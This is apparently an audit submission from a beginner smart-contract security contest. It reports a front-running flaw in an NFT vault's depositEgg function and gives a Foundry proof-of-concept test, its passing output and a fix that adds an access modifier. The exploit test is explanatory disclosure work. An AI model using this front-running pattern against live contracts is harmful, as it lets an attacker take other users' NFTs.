Eggstravaganza

First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Potential Front-Running Attack During NFT Deposit Process in `EggVault::depositEggToVault`

Description:

The EggVault contract allows players to deposit their NFTs using the depositEggToVault() function, which first transfers the NFT to the vault and then calls depositEgg() to register the deposit. However, there is a time window between the transfer and the registration in which an attacker may execute a transaction before the legitimate user completes the deposit.

This behavior creates a race condition, where an attacker can observe the NFT being transferred and front-run the deposit by calling depositEgg() first, registering the NFT as their own. This allows the attacker to later withdraw the NFT, bypassing the ownership logic and violating user trust.

This vulnerability could be easily exploited by an automated bot that scans the mempool for NFT transfers to the EggVault contract. Upon detection, the bot can issue a high-priority transaction (with more gas) to front-run the user and falsely claim ownership of the token.

Impact:

  • Identity spoofing risk: An attacker can falsely claim an NFT as their own without ever owning or transferring it.

  • Loss of asset ownership: The attacker can withdraw an NFT they never deposited, leading to an unexpected and deceptive interaction with the system.

  • User confusion and trust loss: The legitimate owner may lose access to their NFT, leading to frustration and lack of confidence in the contract’s integrity.

Proof of Concept:

In this test, alice transfers the NFT manually to simulate a vulnerable scenario where an attacker front-runs the registration process.

function test_frontRunningAttack() public gameStarted aliceHasANft {
address attacker = makeAddr("attacker");
vm.startPrank(alice);
// Get the current egg ID (last minted token)
uint256 eggId = game.eggCounter();
// Alice manually transfers the NFT to the vault (this opens the attack window)
nft.transferFrom(alice, address(vault), eggId);
vm.stopPrank();
/////////////////// FRONT-RUNNING ATTACK \\\\\\\\\\\\\\\\\\\\
// The attacker sees the NFT in the vault and front-runs the deposit registration
vm.startPrank(attacker);
vault.depositEgg(eggId, attacker); // Attacker falsely claims the NFT
assertEq(vault.eggDepositors(eggId), attacker);
// The attacker successfully withdraws the stolen NFT
vault.withdrawEgg(eggId);
assertEq(nft.ownerOf(eggId), attacker);
vm.stopPrank();
///////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
// Alice tries to register the deposit, but it is too late
vm.prank(alice);
vm.expectRevert("NFT not transferred to vault"); // The NFT is no longer in the vault
vault.depositEgg(eggId, alice);
}

Result:

Ran 1 test for test/EggHuntGamesTest2.t.sol:EggGameTest2
[PASS] test_frontRunningAttack() (gas: 281356)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 18.29ms (8.96ms CPU time)

Tools Used:

Manual review, Foundry

Recommended Mitigation:

To prevent unauthorized actors from registering NFTs as their own, it is recommended to restrict access to the EggVault::depositEgg function, ensuring that only the trusted game contract (EggHuntGame) can call it. This eliminates the race condition that allows attackers to front-run legitimate deposits.

The following code modification introduces a modifier that verifies the caller’s authenticity, and ensures that only the game contract can register deposited NFTs:

+ modifier onlyEggHuntGame() {
+ require(msg.sender == eggNFT.gameContract(), "Unauthorized caller");
+ _;
+ }
- function depositEgg(uint256 tokenId, address depositor) public {
+ function depositEgg(uint256 tokenId, address depositor) external onlyEggHuntGame {
require(eggNFT.ownerOf(tokenId) == address(this), "NFT not transferred to vault");
require(!storedEggs[tokenId], "Egg already deposited");
storedEggs[tokenId] = true;
eggDepositors[tokenId] = depositor;
emit EggDeposited(depositor, tokenId);
}

Additional note: The depositEgg function is currently declared as public without being used internally. This unnecessarily exposes the function to arbitrary external calls. While this detail is already covered by the front-running vulnerability described earlier, it is highlighted here as an additional security and design improvement.

Updates

Lead Judging Commences

m3dython Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Frontrunning Vulnerability DepositEgg

Front-running depositEgg allows deposit ownership hijacking.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.